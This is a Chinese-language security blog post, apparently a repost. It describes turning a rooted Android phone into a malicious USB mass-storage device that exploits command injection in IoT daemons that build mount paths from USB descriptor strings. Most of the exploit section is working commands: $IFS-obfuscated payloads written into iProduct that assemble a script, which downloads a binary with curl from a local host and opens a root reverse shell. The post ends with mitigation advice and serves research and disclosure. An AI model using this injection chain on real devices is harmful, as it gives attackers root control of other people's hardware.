在许多的物联网设备中，用户是可以插入USB设备来执行某些操作的。不过目前的USB等外接设备，通常可以增大攻击面。
在实际测试中，我们发现，某些物联网设备会自动信任插入该设备的USB设备，如果设置了某些属性的话，插入的USB设备还会未经相应的安全检查，来创建安装目录名称。此外，某些安装过程还是通过C语言中 system函数实现的，system函数可以调用一些DOS命令，这样恶意USB设备就可以设置某些参数以实现任意命令执行。由于物联网设备的守护进程是以root身份运行的，这意味着，攻击者可以通过USB设备，然后伪装从用户执行命令了。
但是问题在于，如何利用USB外设实现命令注入？本文的目的，就是探索这个过程，由于可以在android 设备上配置android configfs gadgets，为此，我们需要使用一个已经取得root权限的Nexus 5X设备，并运行最新版本的Android系统，即8.1版本。至于本文介绍的方法是否适用于Android 9，还需要进行单独测试。
将Android设备变成一个Mass Storage Device
USB Mass Storage Device就是USB设备的驱动，USB Mass Storage DeviceUsb大容量存储设备，一般就指通过usb接口，接到电脑的U盘，移动硬盘。以本文为例，需要将Android设备变成一个Mass Storage Device，并带有以下属性：产品名称字符串、产品型号字符串和磁盘标签。当然，我们还可以自定义更多的属性，但这并非本文关注的内容。接下来，我们将从那些看起来似乎无用的设置开始入手。由于我们对ConfigFS非常熟悉，并且发现了`/config/usb_gadget`方法，所以，可以利用这个ConfigFS方法来创建一个快捷的大容量存储设备。通过我们创建的一个脚本，运行结果如下所示：
mkdir: '/config/usb_gadget/g1/functions/mass_storage.0': Function not implemented
所以该方法行不通，为此，我们又试了试Android中`init` 进程的内核空间，看看Android开发者为改变USB功能做了哪些工作。
Android的`init`中有两个不同的`.rc`文件：[init.usb.configfs.rc]和[init.usb.rc]。它们都会检查属性`sys.usb.configfs`：如果其值为`1`，则会使用`init.usb.configfs.rc`文件中相关条目，否则将使用`init.usb.rc`文件中的相关条目。在本文中，`sys.usb.configfs`的值为`0`，并且可以确定系统在`/sys/class/android_usb`目录中修改了一些内容。不过，我们没有考察`sys.usb.configfs`设置为`1`时会发生什么情况，但可以肯定的是，至少这种方法对于我来说是有效的。
既然已经将注意力转移到了`/sys/class/android_usb/android0`目录，那么不妨看看其中包含了哪些内容：
bullhead:/sys/class/android_usb/android0 # ls
bDeviceClass f_acm f_ffs f_rmnet iManufacturer power
bDeviceProtocol f_audio f_gps f_rmnet_smd iProduct remote_wakeup
bDeviceSubClass f_audio_source f_mass_storage f_rndis iSerial state
bcdDevice f_ccid f_midi f_rndis_qc idProduct subsystem
down_pm_qos_sample_sec f_charging f_mtp f_serial idVendor uevent
down_pm_qos_threshold f_diag f_ncm f_uasp idle_pc_rpm_no_int_secs up_pm_qos_sample_sec
enable f_ecm f_ptp f_usb_mbim pm_qos up_pm_qos_threshold
f_accessory f_ecm_qc f_qdss functions pm_qos_state
`其中，`idVendor`、`idProduct`、`iProduct`、`iManufacturer`和`f_mass_storage`看起来有点面熟。如果你熟悉ConfigFS的话，就会发现`f_mass_storage`的内容与`mass_storage`函数的内容非常相似：
bullhead:/sys/class/android_usb/android0 # ls f_mass_storage
device inquiry_string lun luns power subsystem uevent
bullhead:/sys/class/android_usb/android0 # ls f_mass_storage/lun
file nofua power ro uevent
这到底是咋回事，其实我们也不太清楚。不过，这并不影响我们通过创建恶意USB设备来发动攻击。幸运的是，源代码和设备本身为我们提供了许多提示，这些都能帮助我们弄清楚如何使用这个目录。
在`init.usb.rc`中，经常会遇到如下所示的代码：
write /sys/class/android_usb/android0/enable 0
....
write /sys/class/android_usb/android0/functions ${sys.usb.config}
write /sys/class/android_usb/android0/enable 1
那么，当插入一个USB设备，并使用ADB时，会运行哪些函数呢？
bullhead:/sys/class/android_usb/android0 # cat functions
ffs
由于ADB是使用FunctionFS实现的，而`ffs`看起来像是FunctionFS的简写，所以，此时很可能启用的就是FunctionFS。接下来，我们可以改变该值，例如把它设置为`mass_storage`，然后看看会发生什么。
bullhead:/sys/class/android_usb/android0 # echo 0 > enable
可以看到，ADB会话被关闭了，此时USB连接自然也会被关闭。现在，我们已经知道ADB非常适合在TCP/IP上工作，所以，重启它：
adb tcpip 5555
adb connect 192.168.1.18:5555
接下来，我们可以关闭USB并切换到USB Mass Storage Device模式，看看会发生什么情况。
bullhead:/sys/class/android_usb/android0 # echo 0 > enable
bullhead:/sys/class/android_usb/android0 # echo mass_storage > functions
bullhead:/sys/class/android_usb/android0 # echo 1 > enable
可以看到既没有报错，也没有发生崩溃，运行正常。如果你熟悉ConfigFS，则可以修改`f_mass_storage/lun/file`，让USB Mass Storage Device成为后端设备。接下来，我们介绍如何创建一个让USB Mass Storage Device变为后端存储器的镜像文件。
创建镜像文件
在制作镜像时需要牢记的一件事情是，设法控制磁盘标签的值（如`blkid`所示）。为此，我们可以创建一个文件，然后使用它即可。请注意，写入USB磁盘中的内容并不重要，这里只是希望目标设备将其识别为USB Mass Storage Device，进而安装该设备。下面，开始创建我们的后端镜像文件：
dd if=/dev/zero of=backing.img count=50 bs=1M
这将创建一个名为`backing.img`、大小为50MB的文件，该文件的内容都是0值。实际上，这里的内容并不重要，因为下面我们会用`fdisk`命令对其进行格式化。对于老练的Linux黑客来说，完全可以通过编写相应的脚本来完成这些工作：
echo -e -n 'o\nn\n\n\n\n\nt\nc\nw\n' | fdisk backing.img
运行结果如下：
Welcome to fdisk (util-linux 2.31.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.
Device does not contain a recognized partition table.
Created a new DOS disklabel with disk identifier 0xd643eccd.
Command (m for help): Created a new DOS disklabel with disk identifier 0x50270950.
Command (m for help): Partition type
p primary (0 primary, 0 extended, 4 free)
e extended (container for logical partitions)
Select (default p):
Using default response p.
Partition number (1-4, default 1): First sector (2048-20479, default 2048): Last sector, +sectors or +size{K,M,G,T,P} (2048-20479, default 20479):
Created a new partition 1 of type 'Linux' and of size 9 MiB.
Command (m for help): Selected partition 1
Hex code (type L to list all codes): Changed type of partition 'Linux' to 'W95 FAT32 (LBA)'.
Command (m for help): The partition table has been altered.
Syncing disks.
此时，我们将创建一个带有`DOS`分区表和单个`FAT32`分区的镜像，其他内容都是默认的设置。接下来，我们要完成格式化处理，并设置标签：
# losetup --offset 1048576 -f backing.img /dev/loop0
# mkdosfs -n "HAX" /dev/loop0
# losetup -d /dev/loop0
其中，“1048576”是“2048 * 512”的结果。现在，我们只是将上面创建的镜像附加为`/dev/loop0`设备，并运行一个简单的`mkdosfs`命令，其中`-n "HAX"`对本例来说非常重要，因为它使得我们可以控制标签。
利用USB外设实现命令注入
借助上面创建的镜像，我们就可以创建完整的USB设备了：
$ adb tcpip 5555
$ adb connect 192.168.1.18:5555
$ adb push backing.img /dev/local/tmp/
$ adb shell
在`adb shell`中：
$ su
# echo 0 > /sys/class/android_usb/android0/enable
# echo '/data/local/tmp/backing.img' > /sys/class/android_usb/android0/f_mass_storage/lun/file
# echo 'mass_storage' > /sys/class/android_usb/android0/functions
# echo 1 > /sys/class/android_usb/android0/enable
如果一切顺利，则会进行如下运行：
# lsusb -v -d 18d1:
Bus 003 Device 036: ID 18d1:4ee7 Google Inc.
Device Descriptor:
bLength 18
bDescriptorType 1
bcdUSB 2.00
bDeviceClass 0 (Defined at Interface level)
bDeviceSubClass 0
bDeviceProtocol 0
bMaxPacketSize0 64
idVendor 0x18d1 Google Inc.
idProduct 0x4ee7
bcdDevice 3.10
iManufacturer 1 LGE
iProduct 2 Nexus 5X
iSerial 3 0000000000000000
bNumConfigurations 1
Configuration Descriptor:
bLength 9
bDescriptorType 2
wTotalLength 32
bNumInterfaces 1
bConfigurationValue 1
iConfiguration 0
bmAttributes 0x80
(Bus Powered)
MaxPower 500mA
Interface Descriptor:
bLength 9
bDescriptorType 4
bInterfaceNumber 0
bAlternateSetting 0
bNumEndpoints 2
bInterfaceClass 8 Mass Storage
bInterfaceSubClass 6 SCSI
bInterfaceProtocol 80 Bulk-Only
iInterface 5 Mass Storage
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x81 EP 1 IN
bmAttributes 2
Transfer Type Bulk
Synch Type None
Usage Type Data
wMaxPacketSize 0x0200 1x 512 bytes
bInterval 0
Endpoint Descriptor:
bLength 7
bDescriptorType 5
bEndpointAddress 0x01 EP 1 OUT
bmAttributes 2
Transfer Type Bulk
Synch Type None
Usage Type Data
wMaxPacketSize 0x0200 1x 512 bytes
bInterval 1
Device Qualifier (for other device speed):
bLength 10
bDescriptorType 6
bcdUSB 2.00
bDeviceClass 0 (Defined at Interface level)
bDeviceSubClass 0
bDeviceProtocol 0
bMaxPacketSize0 64
bNumConfigurations 1
Device Status: 0x0000
(Bus Powered)
这样，我们就可以看到该设备了：
$ ls -lh /dev/disk/by-id
lrwxrwxrwx 1 root root 9 Aug 2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0 -> ../../sdb
lrwxrwxrwx 1 root root 10 Aug 2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0-part1 -> ../../sdb1
接下来，我们就能够安装该设备了：
$ mkdir HAX && sudo mount /dev/sdb1 HAX
完成安装后，我们就可以考虑改变参数了：
# echo 0 > /sys/class/android_usb/android0/enable
# echo 1337 > /sys/class/android_usb/android0/idProduct
# echo 'Carve Systems' > /sys/class/android_usb/android0/iManufacturer
# echo '1337 Hacking Team' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
$ lsusb -v -d 18d1:
Bus 003 Device 044: ID 18d1:1337 Google Inc.
Device Descriptor:
....
idProduct 0x1337
....
iManufacturer 1 Carve Systems
iProduct 2 1337 Hacking USB
....
这样，恶意USB设备就设置完成了。
POC
为了帮助读者充分认识到该漏洞的严重性，我们在本文中给出一个POC示例代码：
snprintf(dir, DIR_SIZE, "/mnt/storage/%s%s%s", LABEL, iManufacturer, iProduct);
snprintf(cmd, CMD_SIZE, "mount %s %s", /dev/DEVICE, dir);
system(cmd);
上面的代码将完成下列操作：
1. 利用易受攻击的守护进程的`cwd`下载一个shell脚本，用以生成一个反向shell；
2. 用`sh`执行该文件。
有时，系统会从这些变量中删除空格和`/`，但幸运的是，`system`会将其传递给一个理解`$IFS`和子shell的shell。对于Android设备来说，这个漏洞的利用方法也很简单，具体的命令可以按如下方式进行构建：
echo 0 > enable
echo ';{cmd};' > iProduct
echo 1 > enable
完整的命令链如下所示，为了阅读方便，我们删除了一些必要的sleep命令:
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}b=`printf$IFS'"'"'\\x2f'"'"'`>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}s=\"$IFS\">>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}u=http:\$b\${b}192.168.1.152:8000\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}curl\$s-s\$s-o\${s}shell\$s\$u>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}chmod\$s+x\${s}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';echo${IFS}\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
# echo 0 > /sys/class/android_usb/android0/enable
# echo ';sh${IFS}a;' > /sys/class/android_usb/android0/iProduct
# echo 1 > /sys/class/android_usb/android0/enable
可以把这些命令可以放到一个文件(`/a`)中：
b=/
s=" "
u=http:$b${b}192.168.1.152:8000${b}shell
curl$s-s$s-o${s}shell$s$u
chmod$s+x${s}shell
${b}shell
最后一个命令是用`sh a`执行这个文件，这个脚本将会拉取一个我们编写的二进制文件来获取反向shell。此后，你可以向反向shell发送自己喜欢的payload。在执行完最后一个命令后，恶意注入就完成了：
$ nc -l -p 3567
id
uid=0(root) gid=0(root) groups=0(root)
缓解措施
我们的安全建议是：
1. 不要信任任何外部插入设备；
2. 不要太相信黑名单措施，因为有时也会存在容易绕过的漏洞。
当然，还是有许多方法可以避免这个问题的，但无论对于哪种缓解措施，最重要的就是不要信任从外部设备中读取的属性。如果需要唯一名称，请生成相应的UUID。如果你需要一个独一无二的名称，并且要求对于给定设备来说是不变的，请验证所需的参数是否存在，然后使用SHA256或你喜欢的哈希算法计算它们的哈希值。此外，C函数`system`也应该谨慎使用。
如有侵权请联系:admin#unsafe.sh